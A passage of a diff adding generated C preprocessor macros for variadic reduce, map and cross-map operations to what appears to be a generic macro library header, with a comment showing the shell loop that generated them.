+#define M_REDUCEI3_41(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41) g(f(d, 1, _1), g(f(d, 2, _2), g(f(d, 3, _3), g(f(d, 4, _4), g(f(d, 5, _5), g(f(d, 6, _6), g(f(d, 7, _7), g(f(d, 8, _8), g(f(d, 9, _9), g(f(d, 10, _10), g(f(d, 11, _11), g(f(d, 12, _12), g(f(d, 13, _13), g(f(d, 14, _14), g(f(d, 15, _15), g(f(d, 16, _16), g(f(d, 17, _17), g(f(d, 18, _18), g(f(d, 19, _19), g(f(d, 20, _20), g(f(d, 21, _21), g(f(d, 22, _22), g(f(d, 23, _23), g(f(d, 24, _24), g(f(d, 25, _25), g(f(d, 26, _26), g(f(d, 27, _27), g(f(d, 28, _28), g(f(d, 29, _29), g(f(d, 30, _30), g(f(d, 31, _31), g(f(d, 32, _32), g(f(d, 33, _33), g(f(d, 34, _34), g(f(d, 35, _35), g(f(d, 36, _36), g(f(d, 37, _37), g(f(d, 38, _38), g(f(d, 39, _39), g(f(d, 40, _40), f(d, 41, _41)))))))))))))))))))))))))))))))))))))))))
+#define M_REDUCEI3_42(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42) g(f(d, 1, _1), g(f(d, 2, _2), g(f(d, 3, _3), g(f(d, 4, _4), g(f(d, 5, _5), g(f(d, 6, _6), g(f(d, 7, _7), g(f(d, 8, _8), g(f(d, 9, _9), g(f(d, 10, _10), g(f(d, 11, _11), g(f(d, 12, _12), g(f(d, 13, _13), g(f(d, 14, _14), g(f(d, 15, _15), g(f(d, 16, _16), g(f(d, 17, _17), g(f(d, 18, _18), g(f(d, 19, _19), g(f(d, 20, _20), g(f(d, 21, _21), g(f(d, 22, _22), g(f(d, 23, _23), g(f(d, 24, _24), g(f(d, 25, _25), g(f(d, 26, _26), g(f(d, 27, _27), g(f(d, 28, _28), g(f(d, 29, _29), g(f(d, 30, _30), g(f(d, 31, _31), g(f(d, 32, _32), g(f(d, 33, _33), g(f(d, 34, _34), g(f(d, 35, _35), g(f(d, 36, _36), g(f(d, 37, _37), g(f(d, 38, _38), g(f(d, 39, _39), g(f(d, 40, _40), g(f(d, 41, _41), f(d, 42, _42))))))))))))))))))))))))))))))))))))))))))
+#define M_REDUCEI3_43(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43) g(f(d, 1, _1), g(f(d, 2, _2), g(f(d, 3, _3), g(f(d, 4, _4), g(f(d, 5, _5), g(f(d, 6, _6), g(f(d, 7, _7), g(f(d, 8, _8), g(f(d, 9, _9), g(f(d, 10, _10), g(f(d, 11, _11), g(f(d, 12, _12), g(f(d, 13, _13), g(f(d, 14, _14), g(f(d, 15, _15), g(f(d, 16, _16), g(f(d, 17, _17), g(f(d, 18, _18), g(f(d, 19, _19), g(f(d, 20, _20), g(f(d, 21, _21), g(f(d, 22, _22), g(f(d, 23, _23), g(f(d, 24, _24), g(f(d, 25, _25), g(f(d, 26, _26), g(f(d, 27, _27), g(f(d, 28, _28), g(f(d, 29, _29), g(f(d, 30, _30), g(f(d, 31, _31), g(f(d, 32, _32), g(f(d, 33, _33), g(f(d, 34, _34), g(f(d, 35, _35), g(f(d, 36, _36), g(f(d, 37, _37), g(f(d, 38, _38), g(f(d, 39, _39), g(f(d, 40, _40), g(f(d, 41, _41), g(f(d, 42, _42), f(d, 43, _43)))))))))))))))))))))))))))))))))))))))))))
+#define M_REDUCEI3_44(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44) g(f(d, 1, _1), g(f(d, 2, _2), g(f(d, 3, _3), g(f(d, 4, _4), g(f(d, 5, _5), g(f(d, 6, _6), g(f(d, 7, _7), g(f(d, 8, _8), g(f(d, 9, _9), g(f(d, 10, _10), g(f(d, 11, _11), g(f(d, 12, _12), g(f(d, 13, _13), g(f(d, 14, _14), g(f(d, 15, _15), g(f(d, 16, _16), g(f(d, 17, _17), g(f(d, 18, _18), g(f(d, 19, _19), g(f(d, 20, _20), g(f(d, 21, _21), g(f(d, 22, _22), g(f(d, 23, _23), g(f(d, 24, _24), g(f(d, 25, _25), g(f(d, 26, _26), g(f(d, 27, _27), g(f(d, 28, _28), g(f(d, 29, _29), g(f(d, 30, _30), g(f(d, 31, _31), g(f(d, 32, _32), g(f(d, 33, _33), g(f(d, 34, _34), g(f(d, 35, _35), g(f(d, 36, _36), g(f(d, 37, _37), g(f(d, 38, _38), g(f(d, 39, _39), g(f(d, 40, _40), g(f(d, 41, _41), g(f(d, 42, _42), g(f(d, 43, _43), f(d, 44, _44))))))))))))))))))))))))))))))))))))))))))))
+#define M_REDUCEI3_45(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45) g(f(d, 1, _1), g(f(d, 2, _2), g(f(d, 3, _3), g(f(d, 4, _4), g(f(d, 5, _5), g(f(d, 6, _6), g(f(d, 7, _7), g(f(d, 8, _8), g(f(d, 9, _9), g(f(d, 10, _10), g(f(d, 11, _11), g(f(d, 12, _12), g(f(d, 13, _13), g(f(d, 14, _14), g(f(d, 15, _15), g(f(d, 16, _16), g(f(d, 17, _17), g(f(d, 18, _18), g(f(d, 19, _19), g(f(d, 20, _20), g(f(d, 21, _21), g(f(d, 22, _22), g(f(d, 23, _23), g(f(d, 24, _24), g(f(d, 25, _25), g(f(d, 26, _26), g(f(d, 27, _27), g(f(d, 28, _28), g(f(d, 29, _29), g(f(d, 30, _30), g(f(d, 31, _31), g(f(d, 32, _32), g(f(d, 33, _33), g(f(d, 34, _34), g(f(d, 35, _35), g(f(d, 36, _36), g(f(d, 37, _37), g(f(d, 38, _38), g(f(d, 39, _39), g(f(d, 40, _40), g(f(d, 41, _41), g(f(d, 42, _42), g(f(d, 43, _43), g(f(d, 44, _44), f(d, 45, _45)))))))))))))))))))))))))))))))))))))))))))))
+#define M_REDUCEI3_46(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46) g(f(d, 1, _1), g(f(d, 2, _2), g(f(d, 3, _3), g(f(d, 4, _4), g(f(d, 5, _5), g(f(d, 6, _6), g(f(d, 7, _7), g(f(d, 8, _8), g(f(d, 9, _9), g(f(d, 10, _10), g(f(d, 11, _11), g(f(d, 12, _12), g(f(d, 13, _13), g(f(d, 14, _14), g(f(d, 15, _15), g(f(d, 16, _16), g(f(d, 17, _17), g(f(d, 18, _18), g(f(d, 19, _19), g(f(d, 20, _20), g(f(d, 21, _21), g(f(d, 22, _22), g(f(d, 23, _23), g(f(d, 24, _24), g(f(d, 25, _25), g(f(d, 26, _26), g(f(d, 27, _27), g(f(d, 28, _28), g(f(d, 29, _29), g(f(d, 30, _30), g(f(d, 31, _31), g(f(d, 32, _32), g(f(d, 33, _33), g(f(d, 34, _34), g(f(d, 35, _35), g(f(d, 36, _36), g(f(d, 37, _37), g(f(d, 38, _38), g(f(d, 39, _39), g(f(d, 40, _40), g(f(d, 41, _41), g(f(d, 42, _42), g(f(d, 43, _43), g(f(d, 44, _44), g(f(d, 45, _45), f(d, 46, _46))))))))))))))))))))))))))))))))))))))))))))))
+#define M_REDUCEI3_47(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47) g(f(d, 1, _1), g(f(d, 2, _2), g(f(d, 3, _3), g(f(d, 4, _4), g(f(d, 5, _5), g(f(d, 6, _6), g(f(d, 7, _7), g(f(d, 8, _8), g(f(d, 9, _9), g(f(d, 10, _10), g(f(d, 11, _11), g(f(d, 12, _12), g(f(d, 13, _13), g(f(d, 14, _14), g(f(d, 15, _15), g(f(d, 16, _16), g(f(d, 17, _17), g(f(d, 18, _18), g(f(d, 19, _19), g(f(d, 20, _20), g(f(d, 21, _21), g(f(d, 22, _22), g(f(d, 23, _23), g(f(d, 24, _24), g(f(d, 25, _25), g(f(d, 26, _26), g(f(d, 27, _27), g(f(d, 28, _28), g(f(d, 29, _29), g(f(d, 30, _30), g(f(d, 31, _31), g(f(d, 32, _32), g(f(d, 33, _33), g(f(d, 34, _34), g(f(d, 35, _35), g(f(d, 36, _36), g(f(d, 37, _37), g(f(d, 38, _38), g(f(d, 39, _39), g(f(d, 40, _40), g(f(d, 41, _41), g(f(d, 42, _42), g(f(d, 43, _43), g(f(d, 44, _44), g(f(d, 45, _45), g(f(d, 46, _46), f(d, 47, _47)))))))))))))))))))))))))))))))))))))))))))))))
+#define M_REDUCEI3_48(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48) g(f(d, 1, _1), g(f(d, 2, _2), g(f(d, 3, _3), g(f(d, 4, _4), g(f(d, 5, _5), g(f(d, 6, _6), g(f(d, 7, _7), g(f(d, 8, _8), g(f(d, 9, _9), g(f(d, 10, _10), g(f(d, 11, _11), g(f(d, 12, _12), g(f(d, 13, _13), g(f(d, 14, _14), g(f(d, 15, _15), g(f(d, 16, _16), g(f(d, 17, _17), g(f(d, 18, _18), g(f(d, 19, _19), g(f(d, 20, _20), g(f(d, 21, _21), g(f(d, 22, _22), g(f(d, 23, _23), g(f(d, 24, _24), g(f(d, 25, _25), g(f(d, 26, _26), g(f(d, 27, _27), g(f(d, 28, _28), g(f(d, 29, _29), g(f(d, 30, _30), g(f(d, 31, _31), g(f(d, 32, _32), g(f(d, 33, _33), g(f(d, 34, _34), g(f(d, 35, _35), g(f(d, 36, _36), g(f(d, 37, _37), g(f(d, 38, _38), g(f(d, 39, _39), g(f(d, 40, _40), g(f(d, 41, _41), g(f(d, 42, _42), g(f(d, 43, _43), g(f(d, 44, _44), g(f(d, 45, _45), g(f(d, 46, _46), g(f(d, 47, _47), f(d, 48, _48))))))))))))))))))))))))))))))))))))))))))))))))
+#define M_REDUCEI3_49(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49) g(f(d, 1, _1), g(f(d, 2, _2), g(f(d, 3, _3), g(f(d, 4, _4), g(f(d, 5, _5), g(f(d, 6, _6), g(f(d, 7, _7), g(f(d, 8, _8), g(f(d, 9, _9), g(f(d, 10, _10), g(f(d, 11, _11), g(f(d, 12, _12), g(f(d, 13, _13), g(f(d, 14, _14), g(f(d, 15, _15), g(f(d, 16, _16), g(f(d, 17, _17), g(f(d, 18, _18), g(f(d, 19, _19), g(f(d, 20, _20), g(f(d, 21, _21), g(f(d, 22, _22), g(f(d, 23, _23), g(f(d, 24, _24), g(f(d, 25, _25), g(f(d, 26, _26), g(f(d, 27, _27), g(f(d, 28, _28), g(f(d, 29, _29), g(f(d, 30, _30), g(f(d, 31, _31), g(f(d, 32, _32), g(f(d, 33, _33), g(f(d, 34, _34), g(f(d, 35, _35), g(f(d, 36, _36), g(f(d, 37, _37), g(f(d, 38, _38), g(f(d, 39, _39), g(f(d, 40, _40), g(f(d, 41, _41), g(f(d, 42, _42), g(f(d, 43, _43), g(f(d, 44, _44), g(f(d, 45, _45), g(f(d, 46, _46), g(f(d, 47, _47), g(f(d, 48, _48), f(d, 49, _49)))))))))))))))))))))))))))))))))))))))))))))))))
+#define M_REDUCEI3_50(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50) g(f(d, 1, _1), g(f(d, 2, _2), g(f(d, 3, _3), g(f(d, 4, _4), g(f(d, 5, _5), g(f(d, 6, _6), g(f(d, 7, _7), g(f(d, 8, _8), g(f(d, 9, _9), g(f(d, 10, _10), g(f(d, 11, _11), g(f(d, 12, _12), g(f(d, 13, _13), g(f(d, 14, _14), g(f(d, 15, _15), g(f(d, 16, _16), g(f(d, 17, _17), g(f(d, 18, _18), g(f(d, 19, _19), g(f(d, 20, _20), g(f(d, 21, _21), g(f(d, 22, _22), g(f(d, 23, _23), g(f(d, 24, _24), g(f(d, 25, _25), g(f(d, 26, _26), g(f(d, 27, _27), g(f(d, 28, _28), g(f(d, 29, _29), g(f(d, 30, _30), g(f(d, 31, _31), g(f(d, 32, _32), g(f(d, 33, _33), g(f(d, 34, _34), g(f(d, 35, _35), g(f(d, 36, _36), g(f(d, 37, _37), g(f(d, 38, _38), g(f(d, 39, _39), g(f(d, 40, _40), g(f(d, 41, _41), g(f(d, 42, _42), g(f(d, 43, _43), g(f(d, 44, _44), g(f(d, 45, _45), g(f(d, 46, _46), g(f(d, 47, _47), g(f(d, 48, _48), g(f(d, 49, _49), f(d, 50, _50))))))))))))))))))))))))))))))))))))))))))))))))))
+#define M_REDUCEI3_51(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51) g(f(d, 1, _1), g(f(d, 2, _2), g(f(d, 3, _3), g(f(d, 4, _4), g(f(d, 5, _5), g(f(d, 6, _6), g(f(d, 7, _7), g(f(d, 8, _8), g(f(d, 9, _9), g(f(d, 10, _10), g(f(d, 11, _11), g(f(d, 12, _12), g(f(d, 13, _13), g(f(d, 14, _14), g(f(d, 15, _15), g(f(d, 16, _16), g(f(d, 17, _17), g(f(d, 18, _18), g(f(d, 19, _19), g(f(d, 20, _20), g(f(d, 21, _21), g(f(d, 22, _22), g(f(d, 23, _23), g(f(d, 24, _24), g(f(d, 25, _25), g(f(d, 26, _26), g(f(d, 27, _27), g(f(d, 28, _28), g(f(d, 29, _29), g(f(d, 30, _30), g(f(d, 31, _31), g(f(d, 32, _32), g(f(d, 33, _33), g(f(d, 34, _34), g(f(d, 35, _35), g(f(d, 36, _36), g(f(d, 37, _37), g(f(d, 38, _38), g(f(d, 39, _39), g(f(d, 40, _40), g(f(d, 41, _41), g(f(d, 42, _42), g(f(d, 43, _43), g(f(d, 44, _44), g(f(d, 45, _45), g(f(d, 46, _46), g(f(d, 47, _47), g(f(d, 48, _48), g(f(d, 49, _49), g(f(d, 50, _50), f(d, 51, _51)))))))))))))))))))))))))))))))))))))))))))))))))))
+#define M_REDUCEI3_52(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51, _52) g(f(d, 1, _1), g(f(d, 2, _2), g(f(d, 3, _3), g(f(d, 4, _4), g(f(d, 5, _5), g(f(d, 6, _6), g(f(d, 7, _7), g(f(d, 8, _8), g(f(d, 9, _9), g(f(d, 10, _10), g(f(d, 11, _11), g(f(d, 12, _12), g(f(d, 13, _13), g(f(d, 14, _14), g(f(d, 15, _15), g(f(d, 16, _16), g(f(d, 17, _17), g(f(d, 18, _18), g(f(d, 19, _19), g(f(d, 20, _20), g(f(d, 21, _21), g(f(d, 22, _22), g(f(d, 23, _23), g(f(d, 24, _24), g(f(d, 25, _25), g(f(d, 26, _26), g(f(d, 27, _27), g(f(d, 28, _28), g(f(d, 29, _29), g(f(d, 30, _30), g(f(d, 31, _31), g(f(d, 32, _32), g(f(d, 33, _33), g(f(d, 34, _34), g(f(d, 35, _35), g(f(d, 36, _36), g(f(d, 37, _37), g(f(d, 38, _38), g(f(d, 39, _39), g(f(d, 40, _40), g(f(d, 41, _41), g(f(d, 42, _42), g(f(d, 43, _43), g(f(d, 44, _44), g(f(d, 45, _45), g(f(d, 46, _46), g(f(d, 47, _47), g(f(d, 48, _48), g(f(d, 49, _49), g(f(d, 50, _50), g(f(d, 51, _51), f(d, 52, _52))))))))))))))))))))))))))))))))))))))))))))))))))))
+
+
+/* Like M_MAP but with a comma separator.
+   M_MAP_C(f, a, b, c) ==> f(a), f(b), f(c) */
+#define M_MAP_C(f, ...)       M_REDUCE(f, M_MAP_C_ID, __VA_ARGS__)
+#define M_MAP_C_ID(...)       __VA_ARGS__
+
+/* Like M_MAP2 but with a comma separator.
+   M_MAP2_C(f, d, a, b, c) ==> f(d, a), f(d, b), f(d, c) */
+#define M_MAP2_C(f, d, ...)   M_REDUCE2(f, M_MAP2_C_ID, d, __VA_ARGS__)
+#define M_MAP2_C_ID(...)      __VA_ARGS__
+
+/* Like M_MAP2_C but for API transformation only */
+#define M_MAP2B_C(f, d, ...)   M_REDUCE2B(f, M_MAP2B_C_ID, d, __VA_ARGS__)
+#define M_MAP2B_C_ID(...)      __VA_ARGS__
+
+
+/* Like M_MAP3 but with a comma separator.
+   M_MAP3_C(f, d, a, b, c) ==> f(d, 1, a), f(d, 2, b), f(d, 3, c) */
+#define M_MAP3_C(f, d, ...)   M_REDUCE3(f, M_MAP3_C_ID, d, __VA_ARGS__)
+#define M_MAP3_C_ID(...)      __VA_ARGS__
+
+
+/* Map a function f to each pair of arguments from the arglist 'a' and the arglist 'b'
+   M_CROSS_MAP(f, (a,b), (c,d) ) ==> f(a, c) f(a, d) f(b, c) f(b, d) */
+#define M_CROSS_MAP(f, alist, blist)    M_CROSSI_MAP1(f, alist, blist)
+#define M_CROSSI_MAP1(f, alist, blist)  M_C(M_CROSSI_MAP1_, M_NARGS alist)(f, blist, M_ID alist)
+/* Generated by :
+for i in $(seq 1 52) ; do
+    printf "#define M_CROSSI_MAP1_%d(...) M_CROSSI_MAP1_%db(__VA_ARGS__)\n" $i $i ;
+    printf "#define M_CROSSI_MAP1_%db(f, blist" $i ; for j in $(seq 1 $i) ; do printf ", a%d" $j ; done ; printf ") " ;
+    for j in $(seq 1 $i) ; do printf "M_MAP2(f, a%d, M_ID blist) " $j; done ;
+    printf "\n" ;
+done
+*/
+#define M_CROSSI_MAP1_1(...) M_CROSSI_MAP1_1b(__VA_ARGS__)
+#define M_CROSSI_MAP1_1b(f, blist, a1) M_MAP2(f, a1, M_ID blist) 
+#define M_CROSSI_MAP1_2(...) M_CROSSI_MAP1_2b(__VA_ARGS__)
+#define M_CROSSI_MAP1_2b(f, blist, a1, a2) M_MAP2(f, a1, M_ID blist) M_MAP2(f, a2, M_ID blist) 
+#define M_CROSSI_MAP1_3(...) M_CROSSI_MAP1_3b(__VA_ARGS__)
+#define M_CROSSI_MAP1_3b(f, blist, a1, a2, a3) M_MAP2(f, a1, M_ID blist) M_MAP2(f, a2, M_ID blist) M_MAP2(f, a3, M_ID blist) 
+#define M_CROSSI_MAP1_4(...) M_CROSSI_MAP1_4b(__VA_ARGS__)
+#define M_CROSSI_MAP1_4b(f, blist, a1, a2, a3, a4) M_MAP2(f, a1, M_ID blist) M_MAP2(f, a2, M_ID blist) M_MAP2(f, a3, M_ID blist) M_MAP2(f, a4, M_ID blist) 
+#define M_CROSSI_MAP1_5(...) M_CROSSI_MAP1_5b(__VA_ARGS__)
+#define M_CROSSI_MAP1_5b(f, blist, a1, a2, a3, a4, a5) M_MAP2(f, a1, M_ID blist) M_MAP2(f, a2, M_ID blist) M_MAP2(f, a3, M_ID blist) M_MAP2(f, a4, M_ID blist) M_MAP2(f, a5, M_ID blist) 
+#define M_CROSSI_MAP1_6(...) M_CROSSI_MAP1_6b(__VA_ARGS__)
+#define M_CROSSI_MAP1_6b(f, blist, a1, a2, a3, a4, a5, a6) M_MAP2(f, a1, M_ID blist) M_MAP2(f, a2, M_ID blist) M_MAP2(f, a3, M_ID blist) M_MAP2(f, a4, M_ID blist) M_MAP2(f, a5, M_ID blist) M_MAP2(f, a6, M_ID blist) 
+#define M_CROSSI_MAP1_7(...) M_CROSSI_MAP1_7b(__VA_ARGS__)
+#define M_CROSSI_MAP1_7b(f, blist, a1, a2, a3, a4, a5, a6, a7) M_MAP2(f, a1, M_ID blist) M_MAP2(f, a2, M_ID blist) M_MAP2(f, a3, M_ID blist) M_MAP2(f, a4, M_ID blist) M_MAP2(f, a5, M_ID blist) M_MAP2(f, a6, M_ID blist) M_MAP2(f, a7, M_ID blist) 
+#define M_CROSSI_MAP1_8(...) M_CROSSI_MAP1_8b(__VA_ARGS__)
+#define M_CROSSI_MAP1_8b(f, blist, a1, a2, a3, a4, a5, a6, a7, a8) M_MAP2(f, a1, M_ID blist) M_MAP2(f, a2, M_ID blist) M_MAP2(f, a3, M_ID blist) M_MAP2(f, a4, M_ID blist) M_MAP2(f, a5, M_ID blist) M_MAP2(f, a6, M_ID blist) M_MAP2(f, a7, M_ID blist) M_MAP2(f, a8, M_ID blist) 
+#define M_CROSSI_MAP1_9(...) M_CROSSI_MAP1_9b(__VA_ARGS__)
+#define M_CROSSI_MAP1_9b(f, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9) M_MAP2(f, a1, M_ID blist) M_MAP2(f, a2, M_ID blist) M_MAP2(f, a3, M_ID blist) M_MAP2(f, a4, M_ID blist) M_MAP2(f, a5, M_ID blist) M_MAP2(f, a6, M_ID blist) M_MAP2(f, a7, M_ID blist) M_MAP2(f, a8, M_ID blist) M_MAP2(f, a9, M_ID blist) 
+#define M_CROSSI_MAP1_10(...) M_CROSSI_MAP1_10b(__VA_ARGS__)
+#define M_CROSSI_MAP1_10b(f, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10) M_MAP2(f, a1, M_ID blist) M_MAP2(f, a2, M_ID blist) M_MAP2(f, a3, M_ID blist) M_MAP2(f, a4, M_ID blist) M_MAP2(f, a5, M_ID blist) M_MAP2(f, a6, M_ID blist) M_MAP2(f, a7, M_ID blist) M_MAP2(f, a8, M_ID blist) M_MAP2(f, a9, M_ID blist) M_MAP2(f, a10, M_ID blist) 
+#define M_CROSSI_MAP1_11(...) M_CROSSI_MAP1_11b(__VA_ARGS__)
+#define M_CROSSI_MAP1_11b(f, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11) M_MAP2(f, a1, M_ID blist) M_MAP2(f, a2, M_ID blist) M_MAP2(f, a3, M_ID blist) M_MAP2(f, a4, M_ID blist) M_MAP2(f, a5, M_ID blist) M_MAP2(f, a6, M_ID blist) M_MAP2(f, a7, M_ID blist) M_MAP2(f, a8, M_ID blist) M_MAP2(f, a9, M_ID blist) M_MAP2(f, a10, M_ID blist) M_MAP2(f, a11, M_ID blist) 
+#define M_CROSSI_MAP1_12(...) M_CROSSI_MAP1_12b(__VA_ARGS__)
+#define M_CROSSI_MAP1_12b(f, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12) M_MAP2(f, a1, M_ID blist) M_MAP2(f, a2, M_ID blist) M_MAP2(f, a3, M_ID blist) M_MAP2(f, a4, M_ID blist) M_MAP2(f, a5, M_ID blist) M_MAP2(f, a6, M_ID blist) M_MAP2(f, a7, M_ID blist) M_MAP2(f, a8, M_ID blist) M_MAP2(f, a9, M_ID blist) M_MAP2(f, a10, M_ID blist) M_MAP2(f, a11, M_ID blist) M_MAP2(f, a12, M_ID blist) 
+#define M_CROSSI_MAP1_13(...) M_CROSSI_MAP1_13b(__VA_ARGS__)
+#define M_CROSSI_MAP1_13b(f, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13) M_MAP2(f, a1, M_ID blist) M_MAP2(f, a2, M_ID blist) M_MAP2(f, a3, M_ID blist) M_MAP2(f, a4, M_ID blist) M_MAP2(f, a5, M_ID blist) M_MAP2(f, a6, M_ID blist) M_MAP2(f, a7, M_ID blist) M_MAP2(f, a8, M_ID blist) M_MAP2(f, a9, M_ID blist) M_MAP2(f, a10, M_ID blist) M_MAP2(f, a11, M_ID blist) M_MAP2(f, a12, M_ID blist) M_MAP2(f, a13, M_ID blist) 
+#define M_CROSSI_MAP1_14(...) M_CROSSI_MAP1_14b(__VA_ARGS__)
+#define M_CROSSI_MAP1_14b(f, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14) M_MAP2(f, a1, M_ID blist) M_MAP2(f, a2, M_ID blist) M_MAP2(f, a3, M_ID blist) M_MAP2(f, a4, M_ID blist) M_MAP2(f, a5, M_ID blist) M_MAP2(f, a6, M_ID blist) M_MAP2(f, a7, M_ID blist) M_MAP2(f, a8, M_ID blist) M_MAP2(f, a9, M_ID blist) M_MAP2(f, a10, M_ID blist) M_MAP2(f, a11, M_ID blist) M_MAP2(f, a12, M_ID blist) M_MAP2(f, a13, M_ID blist) M_MAP2(f, a14, M_ID blist) 
+#define M_CROSSI_MAP1_15(...) M_CROSSI_MAP1_15b(__VA_ARGS__)
+#define M_CROSSI_MAP1_15b(f, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15) M_MAP2(f, a1, M_ID blist) M_MAP2(f, a2, M_ID blist) M_MAP2(f, a3, M_ID blist) M_MAP2(f, a4, M_ID blist) M_MAP2(f, a5, M_ID blist) M_MAP2(f, a6, M_ID blist) M_MAP2(f, a7, M_ID blist) M_MAP2(f, a8, M_ID blist) M_MAP2(f, a9, M_ID blist) M_MAP2(f, a10, M_ID blist) M_MAP2(f, a11, M_ID blist) M_MAP2(f, a12, M_ID blist) M_MAP2(f, a13, M_ID blist) M_MAP2(f, a14, M_ID blist) M_MAP2(f, a15, M_ID blist) 
+#define M_CROSSI_MAP1_16(...) M_CROSSI_MAP1_16b(__VA_ARGS__)
+#define M_CROSSI_MAP1_16b(f, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16) M_MAP2(f, a1, M_ID blist) M_MAP2(f, a2, M_ID blist) M_MAP2(f, a3, M_ID blist) M_MAP2(f, a4, M_ID blist) M_MAP2(f, a5, M_ID blist) M_MAP2(f, a6, M_ID blist) M_MAP2(f, a7, M_ID blist) M_MAP2(f, a8, M_ID blist) M_MAP2(f, a9, M_ID blist) M_MAP2(f, a10, M_ID blist) M_MAP2(f, a11, M_ID blist) M_MAP2(f, a12, M_ID blist) M_MAP2(f, a13, M_ID blist) M_MAP2(f, a14, M_ID blist) M_MAP2(f, a15, M_ID blist) M_MAP2(f, a16, M_ID blist) 
+#define M_CROSSI_MAP1_17(...) M_CROSSI_MAP1_17b(__VA_ARGS__)
+#define M_CROSSI_MAP1_17b(f, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17) M_MAP2(f, a1, M_ID blist) M_MAP2(f, a2, M_ID blist) M_MAP2(f, a3, M_ID blist) M_MAP2(f, a4, M_ID blist) M_MAP2(f, a5, M_ID blist) M_MAP2(f, a6, M_ID blist) M_MAP2(f, a7, M_ID blist) M_MAP2(f, a8, M_ID blist) M_MAP2(f, a9, M_ID blist) M_MAP2(f, a10, M_ID blist) M_MAP2(f, a11, M_ID blist) M_MAP2(f, a12, M_ID blist) M_MAP2(f, a13, M_ID blist) M_MAP2(f, a14, M_ID blist) M_MAP2(f, a15, M_ID blist) M_MAP2(f, a16, M_ID blist) M_MAP2(f, a17, M_ID blist) 
+#define M_CROSSI_MAP1_18(...) M_CROSSI_MAP1_18b(__VA_ARGS__)
+#define M_CROSSI_MAP1_18b(f, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18) M_MAP2(f, a1, M_ID blist) M_MAP2(f, a2, M_ID blist) M_MAP2(f, a3, M_ID blist) M_MAP2(f, a4, M_ID blist) M_MAP2(f, a5, M_ID blist) M_MAP2(f, a6, M_ID blist) M_MAP2(f, a7, M_ID blist) M_MAP2(f, a8, M_ID blist) M_MAP2(f, a9, M_ID blist) M_MAP2(f, a10, M_ID blist) M_MAP2(f, a11, M_ID blist) M_MAP2(f, a12, M_ID blist) M_MAP2(f, a13, M_ID blist) M_MAP2(f, a14, M_ID blist) M_MAP2(f, a15, M_ID blist) M_MAP2(f, a16, M_ID blist) M_MAP2(f, a17, M_ID blist) M_MAP2(f, a18, M_ID blist) 
+#define M_CROSSI_MAP1_19(...) M_CROSSI_MAP1_19b(__VA_ARGS__)
